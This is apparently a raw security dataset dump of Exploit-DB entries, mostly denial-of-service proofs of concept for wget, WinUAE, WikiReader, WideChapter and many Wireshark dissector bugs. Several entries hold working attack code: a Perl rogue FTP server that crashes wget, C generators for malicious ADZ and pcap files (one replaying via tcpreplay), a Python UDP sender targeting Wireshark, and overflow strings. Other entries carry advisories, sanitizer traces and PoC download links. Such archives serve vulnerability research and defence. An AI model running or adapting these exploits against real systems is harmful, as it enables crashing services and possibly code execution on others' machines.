deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2947
Description: wget 1.10.2 - Unchecked Boundary Condition Denial of Service
Type: dos
Platform: multiple
Date: 2006-12-18
Author: Federico L. Bossi Bonin

Exploit:
#!/usr/bin/perl
################################################################################
# wget <= 1.10.2 | Unchecked Boundary Condition
# Federico L. Bossi Bonin
#
# www.globalst.com.ar
# fbossi[at]globalst.com.ar
################################################################################

use strict;
use IO::Socket;


#Resolving localhost... 127.0.0.1
#Connecting to localhost|127.0.0.1|:21... connected.
#Logging in as anonymous ... Logged in!
#==> SYST ...
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread [PII_REDACTED] (LWP 22824)]
#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#(gdb) backtrace
#0  0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#1  0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at ftp-basic.c:1042
#2  0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0, con=0xbfe3d840) at ftp.c:367
#3  0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840) at ftp.c:1197
#4  0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840, f=0xbfe3d7a8) at ftp.c:1341
#5  0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840, action=2) at ftp.c:1705
#6  0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at ftp.c:1875
#7  0x08066cf8 in retrieve_url (origurl=0x8080070 "ftp://localhost", file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at retr.c:678
#8  0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
#(gdb)

my $PORT=21;
$SIG{CHLD} = 'IGNORE';


my $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto => 'tcp',Reuse => 1); 
die "Cant't bind port: $@" unless $listen;

print "wget PoC\nWainting conections\n";

while (my $connection = $listen->accept){
my $child;

   while (my $connection = $listen->accept){
   my $child;
	  die "Can't fork: $!" unless defined ($child = fork());
   		if ($child == 0){
   				$listen->close;
				while() { 
  				print $connection "220 \n";
				}
				exit 0;
   		}
   		else {
				print "Connecton recieved ... ",$connection->peerhost,"\n";
			        $connection->close();
		   }
       } #while

} #while

# milw0rm.com [2006-12-18]
Exploit-DB #23142
Description: WideChapter 3.0 - HTTP Request Buffer Overflow
Type: dos
Platform: multiple
Date: 2003-09-15
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8617/info

WideChapter has been reported prone to a buffer overflow vulnerability when handling HTTP requests of excessive length.

It has been reported that the condition may be triggered remotely when a malicious website is rendered in the affected browser. Although unconfirmed, a remote attacker may exploit this condition to execute arbitrary instructions in the context of the user who is running the affected browser.

This vulnerability has been reported to affect WideChapter version 3, and prior versions. 

[script]window.open(http://AAA.. [Ax517])[/script]
Exploit-DB #29310
Description: WikiReader 1.12 - URL Field Local Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-12-22
Author: Umesh Wanve

Exploit:
source: https://www.securityfocus.com/bid/21718/info

WikiReader is prone to a local buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input data to an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application; failed exploit attempts will result in a denial-of-service condition.

This issue affects version 1.12; other versions may also be vulnerable.

URL: 16635 x "A"
Exploit-DB #30922
Description: WinUAE 1.4.4 - 'zfile.c' Stack Buffer Overflow
Type: dos
Platform: multiple
Date: 2007-12-21
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/26979/info

WinUAE is prone to a local stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

This issue affects versions prior to WinUAE 1.4.5. 

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



#define VER     "0.1"
#define BOFSZ   10000   // 1000 + 8192 + the rest
#define BUFFSZ  (BOFSZ + 32)
#define u8      unsigned char



int putsc(u8 *data, int chr, int len);
int putxx(u8 *data, unsigned num, int bits);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    u8      *fname,
            *buff,
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "WinUAE <= 1.4.4 gunzip buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output.ADZ>\n"
            "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    p = buff;
    p += putxx(p, 0x1f,     8);     // header[0]
    p += putxx(p, 0x8b,     8);     // header[1]
    p += putxx(p, 0x00,     8);     // header[2]
    p += putxx(p, 0x08,     8);     // flags
    p += putsc(p, 0x00,     6);     // rest of the header
    p += putsc(p, 'A',      BOFSZ); // filename buffer-overflow
    p += putxx(p, 0,        8);     // NULL byte delimiter
    p += putxx(p, -1,       32);    // force the return

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();
    fwrite(buff, 1, p - buff, fd);
    fclose(fd);
    free(buff);
    printf("- done\n");
    return(0);
}



int putsc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
}



int putxx(u8 *data, unsigned num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;

    for(i = 0; i < bytes; i++) {
        data[i] = (num >> (i << 3)) & 0xff;
    }
    return(bytes);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}
Exploit-DB #18758
Description: Wireshark - 'call_dissector()' Null Pointer Dereference Denial of Service
Type: dos
Platform: multiple
Date: 2012-04-19
Author: Wireshark

Exploit:
source: https://www.securityfocus.com/bid/52735/info

Wireshark is prone to a remote denial-of-service vulnerability caused by a NULL-pointer-dereference error.

An attacker can exploit this issue to crash the application, resulting in a denial-of-service condition.

The following Wireshark versions are vulnerable:

1.4.0 through 1.4.11
1.6.0 through 1.6.5 

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18758.pcap
Exploit-DB #45951
Description: Wireshark - 'find_signature' Heap Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2018-12-04
Author: Google Security Research

Exploit:
The following crash due to a heap-based out-of-bounds read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==35788==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d0000e4400 at pc 0x7f326122bbcc bp 0x7ffef079bc70 sp 0x7ffef079bc68
READ of size 1 at 0x62d0000e4400 thread T0
    #0 0x7f326122bbcb in find_signature wireshark/wiretap/vwr.c:3194:13
    #1 0x7f32612233e5 in vwr_read_s3_W_rec wireshark/wiretap/vwr.c:2160:19
    #2 0x7f32612233e5 in vwr_process_rec_data wireshark/wiretap/vwr.c:3356
    #3 0x7f326121acf6 in vwr_read wireshark/wiretap/vwr.c:870:10
    #4 0x7f326122e989 in wtap_read wireshark/wiretap/wtap.c:1256:7
    #5 0x55da2a01be4f in process_cap_file wireshark/tshark.c:3396:12
    #6 0x55da2a01be4f in real_main wireshark/tshark.c:2046

0x62d0000e4400 is located 0 bytes to the right of 32768-byte region [0x62d0000dc400,0x62d0000e4400)
allocated by thread T0 here:
    #0 0x55da29fd30c0 in malloc (wireshark/tshark+0x1120c0)

SUMMARY: AddressSanitizer: heap-buffer-overflow wireshark/wiretap/vwr.c:3194:13 in find_signature
Shadow bytes around the buggy address:
  0x0c5a80014830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c5a80014840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c5a80014850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c5a80014860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c5a80014870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5a80014880:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5a80014890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5a800148a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5a800148b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5a800148c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c5a800148d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==35788==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=15279. Attached are three files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45951.zip
Exploit-DB #18918
Description: Wireshark - DIAMETER Dissector Denial of Service
Type: dos
Platform: multiple
Date: 2012-05-24
Author: Wireshark

Exploit:
source: https://www.securityfocus.com/bid/53652/info

Wireshark is prone to a denial-of-service vulnerability because it fails to properly allocate memory. 

Successful exploits may allow attacker to crash the affected application, denying service to legitimate users. 

Wireshark 1.4.0 to 1.4.12 and 1.6.0 to 1.6.7 are vulnerable.

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18918.pcap
Exploit-DB #15898
Description: Wireshark - ENTTEC DMX Data RLE Buffer Overflow
Type: dos
Platform: multiple
Date: 2011-01-03
Author: non-customers crew

Exploit:
# source: https://www.securityfocus.com/bid/45634/info

#!/usr/bin/env python

# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  sys.exit(2)

port = 3333
addr = (host, port)

data  = "ESDD\x10\x20\x04"
data += "\x00\x0c"
data += "\xfe\xff\x41"
data += "\xfe\xff\x42"
data += "\xfe\xff\x43"
data += "\xfe\xff\x44"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  sys.exit(1)

udps.close()
sys.exit(0)
Exploit-DB #39877
Description: Wireshark - erf_meta_read_tag SIGSEGV
Type: dos
Platform: multiple
Date: 2016-06-01
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=803

The following SIGSEGV crash due to an invalid memory read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==28415==ERROR: AddressSanitizer: SEGV on unknown address 0x61b000022d84 (pc 0x7f0e1b0002a2 bp 0x7ffde25a76f0 sp 0x7ffde25a7630 T0)
    #0 0x7f0e1b0002a1 in erf_meta_read_tag wireshark/wiretap/erf.c:1242:13
    #1 0x7f0e1afff0f0 in populate_summary_info wireshark/wiretap/erf.c:1851:27
    #2 0x7f0e1aff34d6 in erf_read wireshark/wiretap/erf.c:447:7
    #3 0x7f0e1b1a746b in wtap_read wireshark/wiretap/wtap.c:1245:7
    #4 0x528196 in load_cap_file wireshark/tshark.c:3478:12
    #5 0x51e67c in main wireshark/tshark.c:2192:13

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV wireshark/wiretap/erf.c:1242:13 in erf_meta_read_tag
==28415==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=12352. Attached are three files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39877.zip
Exploit-DB #15676
Description: Wireshark - LDSS Dissector Buffer Overflow
Type: dos
Platform: multiple
Date: 2010-12-04
Author: Nephi Johnson

Exploit:
source: https://www.securityfocus.com/bid/44987/info

Wireshark is prone to a buffer-overflow vulnerability.

Exploiting this issue may allow attackers to crash the application and deny service to legitimate users. Attackers may also execute arbitrary code in the context of vulnerable users running the application.

This issue affects Wireshark 1.2.0 through 1.2.12 and 1.4.0 through 1.4.1.

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15676-pcap.zip
Exploit-DB #18920
Description: Wireshark - Misaligned Memory Denial of Service
Type: dos
Platform: multiple
Date: 2012-05-24
Author: Klaus Heckelmann

Exploit:
source: https://www.securityfocus.com/bid/53653/info

Wireshark is prone to a denial-of-service vulnerability. 

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. 

Wireshark versions 1.6.0 through 1.6.7 and versions 1.4.0 through 1.4.12 are vulnerable.

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18920.pcap
Exploit-DB #18919
Description: Wireshark - Multiple Dissector Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2012-05-24
Author: Laurent Butti

Exploit:
source: https://www.securityfocus.com/bid/53651/info

Wireshark is prone to multiple denial-of-service vulnerabilities. 

An attacker can exploit these issues to crash the affected application, denying service to legitimate users. 

Wireshark versions 1.6.0 through 1.6.7 and versions 1.4.0 through 1.4.12 are vulnerable.

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-1.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-2.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-3.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-4.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-5.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-6.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-7.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-8.pcap
Exploit-DB #15973
Description: Wireshark - ZigBee ZCL Dissector Infinite Loop Denial of Service
Type: dos
Platform: multiple
Date: 2011-01-11
Author: Fred Fierling

Exploit:
Source:  https://www.securityfocus.com/bid/44986/info

Wireshark is prone to a remote denial-of-service vulnerability because it fails to properly handle certain types of packets.

Attackers can exploit this issue to cause the application to enter an infinite loop which may cause denial-of-service conditions.

Wireshark 1.4.0 to 1.4.1 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15973.pcap (44986.pcap)
Exploit-DB #32006
Description: Wireshark 1.0.0 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-06-30
Author: Noam Rathus

Exploit:
source: https://www.securityfocus.com/bid/30020/info

Wireshark is prone to multiple vulnerabilities, including an information-disclosure issue and denial-of-service issues.

Exploiting these issues may allow attackers to obtain potentially sensitive information, cause crashes, and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.

These issues affect Wireshark 0.9.5 up to and including 1.0.0. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32006-1.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32006-2.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32006-3.pcap
Exploit-DB #8308
Description: Wireshark 1.0.6 - PN-DCP Format String (PoC)
Type: dos
Platform: multiple
Date: 2009-03-30
Author: THCX Labs

Exploit:
/*
################## THCX #######################################
# Wireshark <= 1.0.6 PN-DCP format string bug POC
###############################################################
# [!] autore: THCX Labs
# [!] PN-DCP eithor standalone or tunneld thru DCE/RPC
# [!] local open of pcapfile also working
###############################################################
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
char sploit[]=
"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00"
"\x96\x2c\x8f\x47\x97\xaa\x0d\x00\x22\x00\x00\x00\x22\x00\x00\x00\x00\x02\xe3\x17\xc7\x50\x00\x80"
"\xc8\x38\xa4\x8b\x81\x00\x00\x00\x88\x92\xfe\xfe\x05\x00\x01\x00\x00\x01\x00\x01\x00\x04\xff\xff"
"\x00\x00\x96\x2c\x8f\x47\x96\xae\x0d\x00\xd6\x00\x00\x00\xd6\x00\x00\x00\x00\x80\xc8\x38\xa4\x8b"
"\x00\x02\xe3\x17\xc7\x50\x81\x00\x00\x00\x88\x92\xfe\xff\x05\x01\x01\x00\x00\x01\x00\x00\x00\xb8"
"\x02\x05\x00\x10\x00\x00\x02\x01\x02\x02\x02\x03\x02\x04\x02\x05\x01\x01\x01\x02\x02\x01\x00\x0a"
"\x00\x00\x53\x37\x2d\x33\x30\x30\x45\x43\x02\x02\x00\x6e\x00\x00\x25\x6e\x25\x6e\x25\x6e\x20\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x02\x03\x00\x06\x00\x00\x00\x2a\x01\x01\x02\x04\x00\x04\x00\x00\x02\x00\x01\x02"
"\x00\x0e\x00\x01\xc0\xa8\x00\x0b\xff\xff\xff\x00\xc0\xa8\x00\x0b\x97\x2c\x8f\x47\xf2\xd0\x0e\x00"
"\x32\x00\x00\x00\x32\x00\x00\x00\x00\x02\xe3\x17\xc7\x50\x00\x80\xc8\x38\xa4\x8b\x81\x00\x00\x00"
"\x88\x92\xfe\xfd\x04\x00\x01\x00\x00\x01\x00\x00\x00\x14\x02\x02\x00\x09\x00\x01\x25\x6e\x25\x6e"
"\x25\x6e\x20\x00\x05\x02\x00\x02\x00\x00\x97\x2c\x8f\x47\x82\xd2\x0e\x00\x40\x00\x00\x00\x40\x00"
"\x00\x00\x00\x80\xc8\x38\xa4\x8b\x00\x02\xe3\x17\xc7\x50\x81\x00\x00\x00\x88\x92\xfe\xfd\x04\x01"
"\x01\x00\x00\x01\x00\x00\x00\x10\x05\x04\x00\x03\x02\x02\x00\x00\x05\x04\x00\x03\x05\x02\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
int main(){
FILE *fh;
int r;
fh=fopen("formatstringbug.pcap","wb");
if(!fh){perror("no open");exit(1);}
fwrite(sploit,sizeof sploit,1,fh);
fclose(fh);
r=system("tcpreplay -i eth0 formatstringbug.pcap");
return 0;
}

// milw0rm.com [2009-03-30]
Exploit-DB #6622
Description: Wireshark 1.0.x - '.ncf' Packet Capture Local Denial of Service
Type: dos
Platform: multiple
Date: 2008-09-29
Author: Shinnok

Exploit:
Wireshark 1.0.x .ncf local denial of service
author: Shinnok

Description

Wireshark 1.0.x crashes as a result of a failed assertion when dealing
with a malformed Tamosoft CommView .ncf packet capture:
Err file wtap.c: line 620 (wtap_read): assertion failed:
(wth->phdr.pkt_encap != WTAP_ENCAP_PER_PACKET)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6622.ncf (2008-wireshark.ncf)

# milw0rm.com [2008-09-29]
Exploit-DB #40194
Description: Wireshark 1.12.0 < 1.12.12 - NDS Dissector Denial of Service
Type: dos
Platform: multiple
Date: 2016-08-03
Author: Chris Benedict

Exploit:
Sample generated with AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz

Built using clang 4.2.1 Compatible Clang 3.8.0 (tags/RELEASE_380/final).
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

There is a bug in dissect_nds_request located in epan/dissectors/packet-ncp2222.inc.

dissect_nds_request attempts to call ptvcursor_free() near packet-ncp2222.inc:11806 using the variable ptvc that is set to null at the start of dissect_nds_request. Using the attached sample, the only place ptvc could be set (~ncp2222.inc:11618) is never executed and thus ptvc remains a null pointer.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40194.zip
Exploit-DB #40197
Description: Wireshark 1.12.0 < 1.12.12 / 2.0.0 < 2.0.4 - PacketBB Dissector Denial of Service
Type: dos
Platform: multiple
Date: 2016-08-03
Author: Chris Benedict

Exploit:
Sample generated by AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

The attached sample evokes a divide-by-zero error in the dissect_pbb_tlvblock() function at packet-packetbb.c:289.

The variable of interest seems to be 'c' which is set at packet-packetbb.c:285 using two other variables and an addition. When c is zero, the expression "length/c" at packet-packetbb.c:289 results in a divide-by-zero error.

Divide-by-zero has been observed when sample is parsed by tshark versions 1.12.8, 1.12.9, 1.12.10, 1.12.12, and 2.0.4 among others.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40197.zip